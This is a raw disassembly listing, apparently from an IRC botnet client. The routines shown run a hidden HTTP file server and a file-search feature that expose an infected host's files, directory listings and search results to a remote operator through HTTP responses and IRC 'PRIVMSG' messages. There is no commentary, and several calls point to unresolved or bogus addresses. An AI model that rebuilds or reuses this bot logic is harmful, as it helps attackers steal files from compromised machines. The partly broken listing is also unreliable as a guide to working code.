sub_40FAD6+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB8C0 test eax, eax jz loc_40FEA7 cmp esi, [ebp+var_C] jnz short loc_40FC65 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CBA68 cmp eax, 0FFFFFFFFh jz loc_40FEA7 xor ecx, ecx test ebx, ebx jbe short loc_40FC37 lea edx, [ebp+var_134] loc_40FC2B: ; CODE XREF: sub_40FAD6+15Fj cmp [edx], eax jz short loc_40FC37 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FC2B loc_40FC37: ; CODE XREF: sub_40FAD6+14Dj ; sub_40FAD6+157j cmp ecx, ebx jnz short loc_40FC54 cmp ebx, 40h jnb short loc_40FC54 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FC54: ; CODE XREF: sub_40FAD6+163j ; sub_40FAD6+168j cmp eax, [ebp+var_8] jbe loc_40FEA7 mov [ebp+var_8], eax jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FC65: ; CODE XREF: sub_40FAD6+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41BF70 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CB9EC test eax, eax jg short loc_40FCF8 push esi call dword_4CBA6C xor ecx, ecx test ebx, ebx jbe loc_40FEA7 lea eax, [ebp+var_134] loc_40FCB7: ; CODE XREF: sub_40FAD6+1EBj cmp [eax], esi jz short loc_40FCC8 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FCB7 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCC8: ; CODE XREF: sub_40FAD6+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FCEC lea eax, [ebp+ecx*4+var_134] loc_40FCD6: ; CODE XREF: sub_40FAD6+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FCD6 loc_40FCEC: ; CODE XREF: sub_40FAD6+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FCF8: ; CODE XREF: sub_40FAD6+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BF70 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41B9C0 add esp, 10h test eax, eax jbe loc_40FEA7 loc_40FD26: ; CODE XREF: sub_40FAD6+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FDCB mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40FD9F lea eax, [ebp+var_18F0] push eax call sub_41B9C0 cmp eax, 5 pop ecx jbe short loc_40FD9F mov eax, offset asc_42CDC0 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41C2E0 pop ecx pop ecx push eax call sub_41CAD4 push eax lea eax, [ebp+var_23C] push eax call sub_41C890 add esp, 10h jmp short loc_40FDB6 ; --------------------------------------------------------------------------- loc_40FD9F: ; CODE XREF: sub_40FAD6+27Fj ; sub_40FAD6+291j lea eax, [ebp+var_18F0] push offset asc_4349EC ; "\r\n" push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_40FDEA loc_40FDB6: ; CODE XREF: sub_40FAD6+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BF70 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FDCB: ; CODE XREF: sub_40FAD6+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41B9C0 cmp [ebp+arg_0], eax pop ecx jb loc_40FD26 jmp loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FDEA: ; CODE XREF: sub_40FAD6+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40FE34 lea eax, [ebp+var_134] loc_40FDF6: ; CODE XREF: sub_40FAD6+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FE07 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FDF6 jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE07: ; CODE XREF: sub_40FAD6+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FE2B lea eax, [ebp+ecx*4+var_134] loc_40FE15: ; CODE XREF: sub_40FAD6+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FE15 loc_40FE2B: ; CODE XREF: sub_40FAD6+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40FE37 ; --------------------------------------------------------------------------- loc_40FE34: ; CODE XREF: sub_40FAD6+318j mov esi, [ebp+var_4] loc_40FE37: ; CODE XREF: sub_40FAD6+32Fj ; sub_40FAD6+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40FEA0 lea eax, [ebp+var_360] push eax call sub_41B9C0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41B9C0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FEA0 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CBA70 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4100B4 add esp, 14h jmp short loc_40FEA7 ; --------------------------------------------------------------------------- loc_40FEA0: ; CODE XREF: sub_40FAD6+369j ; sub_40FAD6+38Fj push esi call dword_4CBA6C loc_40FEA7: ; CODE XREF: sub_40FAD6+11Dj ; sub_40FAD6+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FBE3 jmp loc_40FBAD ; --------------------------------------------------------------------------- loc_40FEBC: ; CODE XREF: sub_40FAD6+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FEC1: ; CODE XREF: sub_40FAD6+6Aj ; sub_40FAD6+92j ... call dword_4CB968 push eax lea eax, [ebp+var_8F0] push offset unk_4349C4 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FF07 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409869 add esp, 14h loc_40FF07: ; CODE XREF: sub_40FAD6+40Cj lea eax, [ebp+var_8F0] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_254] call sub_40B6D6 pop ecx push ebx nop call near ptr 26F0A80h pop edi pop esi pop ebx sub_40FAD6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF31 proc near ; DATA XREF: sub_4100B4+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C500 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41C266 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40FF97 push offset aTextHtml ; "text/html" jmp short loc_40FF9C ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40FF31+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40FF9C: ; CODE XREF: sub_40FF31+64j lea eax, [ebp+var_9C] push eax call sub_41C266 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2760000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2750000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_410015 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 24h jmp short loc_410036 ; --------------------------------------------------------------------------- loc_410015: ; CODE XREF: sub_40FF31+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C266 add esp, 28h loc_410036: ; CODE XREF: sub_40FF31+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_1654] push eax loc_41004C: ; DATA XREF: ___:004385A8o ; ___:004385BCo push [ebp+var_44C] call dword_4CBA24 cmp [ebp+var_A4], edi jnz short loc_410076 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_4109F1 pop ecx pop ecx jmp short loc_410093 ; --------------------------------------------------------------------------- loc_410076: ; CODE XREF: sub_40FF31+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_41036B add esp, 10h loc_410093: ; CODE XREF: sub_40FF31+143j push [ebp+var_44C] call dword_4CBA6C push [ebp+var_B4] call sub_40B6D6 pop ecx push edi nop call near ptr 26F0A80h pop edi pop esi sub_40FF31 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100B4 proc near ; CODE XREF: sub_40FAD6+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41BF70 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4100EA push eax push offset aS_3 ; "\\%s" jmp short loc_4100F3 ; --------------------------------------------------------------------------- loc_4100EA: ; CODE XREF: sub_4100B4+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_4100F3: ; CODE XREF: sub_4100B4+34j lea eax, [ebp+var_10C] push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B9C0 test eax, eax pop ecx jbe short loc_41018E mov [ebp+arg_8], 2 loc_41011E: ; CODE XREF: sub_4100B4+D8j lea eax, [ebp+var_10C] push eax call sub_41B9C0 cmp [ebp+arg_8], eax pop ecx jnb short loc_41015E cmp [ebp+esi+var_10C], 25h jnz short loc_41015E cmp [ebp+esi+var_10B], 32h jnz short loc_41015E cmp [ebp+esi+var_10A], 30h jnz short loc_41015E inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410178 ; --------------------------------------------------------------------------- loc_41015E: ; CODE XREF: sub_4100B4+7Aj ; sub_4100B4+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_41016E push 5Ch pop eax jmp short loc_410171 ; --------------------------------------------------------------------------- loc_41016E: ; CODE XREF: sub_4100B4+B3j movsx eax, al loc_410171: ; CODE XREF: sub_4100B4+B8j mov [ebp+ebx+var_210], al loc_410178: ; CODE XREF: sub_4100B4+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B9C0 cmp esi, eax pop ecx jb short loc_41011E loc_41018E: ; CODE XREF: sub_4100B4+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429AC8 push eax call sub_41C266 lea eax, [ebp+var_314] push offset asc_42A080 ; "\n" push eax call sub_41CAD4 add esp, 18h lea eax, [ebp+var_314] push eax call near ptr 2690E7Eh nop push 1 cmp eax, 10h pop esi jz short loc_4101DF cmp eax, 0FFFFFFFFh jnz short loc_4101E2 push [ebp+arg_0] jmp loc_410262 ; --------------------------------------------------------------------------- loc_4101DF: ; CODE XREF: sub_4100B4+11Cj mov [ebp+var_4], esi loc_4101E2: ; CODE XREF: sub_4100B4+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4101EF mov [ebp+var_4], esi loc_4101EF: ; CODE XREF: sub_4100B4+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_41026D cmp [ebp+arg_C], edi jz short loc_410261 lea eax, [ebp+var_314] push offset asc_434C78 ; "*" push eax call sub_41C8A0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41C266 lea eax, [ebp+var_210] push eax call sub_410AAE add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41C266 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4102BC ; --------------------------------------------------------------------------- loc_410261: ; CODE XREF: sub_4100B4+152j push ebx loc_410262: ; CODE XREF: sub_4100B4+126j call dword_4CBA6C jmp loc_410364 ; --------------------------------------------------------------------------- loc_41026D: ; CODE XREF: sub_4100B4+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 2730000h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4102BC lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C266 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2760B9Eh push esi mov [ebp+var_330], eax nop call near ptr 2670770h loc_4102BC: ; CODE XREF: sub_4100B4+1ABj ; sub_4100B4+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_434C44 push eax call sub_41C266 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B3BA mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E914[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FF31 push edi push edi nop call near ptr 2690000h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E924[ecx], eax jz short loc_410336 loc_410324: ; CODE XREF: sub_4100B4+280j cmp [ebp+var_318], edi jnz short loc_410364 push 5 nop call near ptr 2680EF8h jmp short loc_410324 ; --------------------------------------------------------------------------- loc_410336: ; CODE XREF: sub_4100B4+26Ej push ebx call dword_4CBA6C call near ptr 269086Bh nop push eax lea eax, [ebp+var_8C4] push offset unk_434C0C push eax call sub_41C266 lea eax, [ebp+var_8C4] push eax call sub_415D38 add esp, 10h loc_410364: ; CODE XREF: sub_4100B4+1B4j ; sub_4100B4+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4100B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41036B proc near ; CODE XREF: sub_401ACD+75E3p ; sub_40FF31+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BF70 mov edi, [ebp+arg_0] push offset asc_42A080 ; "\n" push edi call sub_41CAD4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4103CA push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41C360 add esp, 14h jmp loc_4104C9 ; --------------------------------------------------------------------------- loc_4103CA: ; CODE XREF: sub_41036B+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4104AF call sub_41B9C0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push edi call sub_41B9C0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 0Ch jmp short loc_4104C9 ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_41036B+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h loc_4104C9: ; CODE XREF: sub_41036B+5Aj ; sub_41036B+142j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 cmp [ebp+arg_C], ebx jz short loc_410564 push [ebp+arg_C] call sub_41B9C0 cmp eax, 2 pop ecx jbe short loc_410564 push [ebp+arg_C] call sub_41B9C0 sub eax, 3 pop ecx jz short loc_410515 loc_410509: ; CODE XREF: sub_41036B+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_410515 dec eax jnz short loc_410509 loc_410515: ; CODE XREF: sub_41036B+19Cj ; sub_41036B+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BFD0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 loc_410564: ; CODE XREF: sub_41036B+180j ; sub_41036B+18Ej lea eax, [ebp+var_388] push eax push edi call near ptr 2790000h nop lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2780000h test eax, eax jz loc_410954 mov edi, 1FFh loc_410590: ; CODE XREF: sub_41036B+5E3j cmp [ebp+var_388], ebx jz loc_41093C lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_41093C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 27705BFh nop lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 2770000h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_410605 mov ecx, offset aAm ; "AM" loc_410605: ; CODE XREF: sub_41036B+293j cmp ax, 0Ch movzx eax, ax jbe short loc_410611 sub eax, 0Ch loc_410611: ; CODE XREF: sub_41036B+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41C266 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4107B4 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410685 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_4108FD ; --------------------------------------------------------------------------- loc_410685: ; CODE XREF: sub_41036B+2E0j cmp [ebp+arg_C], ebx jz loc_41076F push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410725 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_41072A ; --------------------------------------------------------------------------- loc_410725: ; CODE XREF: sub_41036B+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_41072A: ; CODE XREF: sub_41036B+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4108FE ; --------------------------------------------------------------------------- loc_41076F: ; CODE XREF: sub_41036B+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C360 add esp, 14h jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107B4: ; CODE XREF: sub_41036B+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4107F3 push ebx push [ebp+var_368] call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_4107DF: ; CODE XREF: sub_41036B+577j lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 1Ch jmp loc_41090D ; --------------------------------------------------------------------------- loc_4107F3: ; CODE XREF: sub_41036B+44Fj cmp [ebp+arg_C], ebx jz loc_4108E7 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429AC8 push edi push eax call sub_41C360 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 lea eax, [ebp+var_35C] push eax call sub_41B9C0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410893 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_410898 ; --------------------------------------------------------------------------- loc_410893: ; CODE XREF: sub_41036B+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_410898: ; CODE XREF: sub_41036B+526j lea eax, [ebp+var_248] push edi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4107DF ; --------------------------------------------------------------------------- loc_4108E7: ; CODE XREF: sub_41036B+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_4108FD: ; CODE XREF: sub_41036B+315j push esi loc_4108FE: ; CODE XREF: sub_41036B+3FFj lea eax, [ebp+var_248] push eax call sub_41C360 add esp, 18h loc_41090D: ; CODE XREF: sub_41036B+444j ; sub_41036B+483j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 cmp [ebp+arg_8], ebx jz short loc_41093C push 7D0h call near ptr 2680EF8h nop loc_41093C: ; CODE XREF: sub_41036B+22Bj ; sub_41036B+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2780000h test eax, eax jnz loc_410590 loc_410954: ; CODE XREF: sub_41036B+21Aj push [ebp+arg_0] nop call near ptr 25F0000h cmp [ebp+arg_8], ebx jz short loc_410997 mov eax, [ebp+var_8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41C266 add esp, 14h jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_410997: ; CODE XREF: sub_41036B+5F5j cmp [ebp+arg_C], ebx jz short loc_4109B1 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41C266 pop ecx pop ecx jmp short loc_4109CB ; --------------------------------------------------------------------------- loc_4109B1: ; CODE XREF: sub_41036B+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41C266 add esp, 10h loc_4109CB: ; CODE XREF: sub_41036B+62Aj ; sub_41036B+644j lea eax, [ebp+var_248] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CBA24 pop edi pop esi xor eax, eax pop ebx leave retn sub_41036B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109F1 proc near ; CODE XREF: sub_40FF31+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 2730000h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410AA9 push esi push ebx nop call near ptr 2760B9Eh cmp eax, esi mov [ebp+arg_4], eax jz short loc_410AA2 loc_410A36: ; CODE XREF: sub_4109F1+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41BF70 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410A53 mov edi, [ebp+arg_4] loc_410A53: ; CODE XREF: sub_4109F1+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 27A0000h nop lea eax, [ebp+var_4] push esi push eax 